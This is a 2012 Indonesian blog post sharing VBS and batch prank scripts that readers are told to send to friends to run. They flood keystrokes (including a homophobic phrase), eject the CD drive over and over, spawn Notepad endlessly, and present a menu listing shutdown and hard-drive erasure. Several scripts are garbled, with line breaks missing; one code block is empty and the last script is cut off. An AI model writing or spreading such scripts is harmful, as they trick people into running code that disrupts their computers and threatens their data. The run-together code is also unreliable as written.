By Unknown | At Thursday, February 02, 2012 | Label :
Triks
| 0 Comments
Wah.. dari title postingnya.. kayaknya seru nih untuk iseng orang. Saat saya lagi menjelajahi forum trikdasar dan ketemu kode script yang keren ini. saya pikir script ini cocok buat teman-teman agan untuk belajar.
NB: " Gunakan Notepad "
1). memberi sedikit pesan dan shutdown komputer teman anda
ketik
Code:
Save As menggunakan Extension .BAT lalu kiri me teman anda
Code:
Contoh : apasaja.bat
2). Menyalakan tombol Caps lock secara simultan
ketik
Code:
Set wshShell =wscript.CreateObject("WScript.Shell")dowscript.sleep 100wshshell.sendkeys "{CAPSLOCK}"loop
Save As *.VBS trus kirim ke teman anda
Code:
contoh : apasaja.VBS
3). buka/tutup CD drive secara terus menerus
ketik
Code:
Set oWMP = CreateObject("WMPlayer.OCX.7")Set colCDROMs = oWMP.cdromCollectiondoif colCDROMs.Count >= 1 thenFor i = 0 to colCDROMs.Count - 1colCDROMs.Item(i).EjectNextFor i = 0 to colCDROMs.Count - 1colCDROMs.Item(i).EjectNextEnd Ifwscript.sleep 5000loop
Save As dengan *.VBS trus kirim ke teman anda
4). yang ini script fungsinya supaya teken enter secara simultan
ketik
Code :
Set wshShell = wscript.CreateObject("WScript.Shell")dowscript.sleep 100wshshell.sendkeys "~(enter)"loop
Save As dengan *.VBS trus kirim ke teman anda
5). yang ini Fungsinya untuk membuka notepad, kemudian akan mengetik pesan kita secara otomatis di notepad.
ketik
Code:
WScript.Sleep 180000WScript.Sleep 10000Set WshShell = WScript.CreateObject("WScript.Shell")WshShell.Run "notepad"WScript.Sleep 100WshShell.AppActivate "Notepad"WScript.Sleep 500WshShell.SendKeys "Hel"WScript.Sleep 500WshShell.SendKeys "lo "WScript.Sleep 500WshShell.SendKeys ", ho"WScript.Sleep 500WshShell.SendKeys "w a"WScript.Sleep 500WshShell.SendKeys "re "WScript.Sleep 500WshShell.SendKeys "you"WScript.Sleep 500WshShell.SendKeys "? "WScript.Sleep 500WshShell.SendKeys "I a"WScript.Sleep 500WshShell.SendKeys "m g"WScript.Sleep 500WshShell.SendKeys "ood"WScript.Sleep 500WshShell.SendKeys " th"WScript.Sleep 500WshShell.SendKeys "ank"WScript.Sleep 500WshShell.SendKeys "s! "
Save As dengan *.VBS trus kirim ke teman anda !
6). Membuat script vbs ini menjalankan BACKSPACE secara simultan
ketik
Code:
MsgBox "Let's go back a few steps"Set wshShell =wscript.CreateObject("WScript.Shell")dowscript.sleep 100wshshell.sendkeys "{bs}"loop
Save As dengan *.VBS trus kirim ke teman anda !
7). Hack keyboard sehingga temen lu dipaksa ngetik " u are a gay" secara simultan
ketik
Code:
Set wshShell = wscript.CreateObject("WScript.Shell")dowscript.sleep 100wshshell.sendkeys "You are a gay"loop
Save As dengan *.VBS trus kirim ke teman anda !
8). Buka Notepad secara terus menerus
ketik
Code:
@ECHO off:topSTART %SystemRoot%\system32\notepad.exeGOTO top
Save As dengan *.BAT trus kirim ke teman anda !
9). Script BATCH yang ini bakal munculin 5 pilihan yang harus temen kalian diantaranya adalah
1. shutdown2. restart3. hapus hard drive4. Net send5. Menampilkan pesan, kemudian shutdown
ketik
Code :
@echo offtitle The end of the worldcd C:\:menuclsecho oops gw gak tanggung jawab lho apa yang barusan lu lakuin hehhe,,semuanya dh jadi tanggung jawab lu sendiri...pauseecho pilih nama cwe yang lu suka =P :echo 1. datanya bakal ilang lho.echo 2. komputer nya corrupt lhoecho 3. hehehe no comment deh klo yang iniecho 4. mau mati pake jalan ini?echo 5. bye bye...set input=nothingset /p input=Choice:if %input%==1 goto oneif %input%==2 goto two
Apabila dari 9 kode Script diatas agan bisa kembangin dan menggabungkannya menjadi 1, Pasti Efeknya .....???!
hehehee..
Thanks to: trikdasar